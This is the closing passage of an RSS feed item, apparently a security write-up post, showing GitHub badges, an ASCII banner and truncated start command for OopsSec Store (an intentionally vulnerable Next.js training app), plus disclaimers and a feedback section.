&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>webdev</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
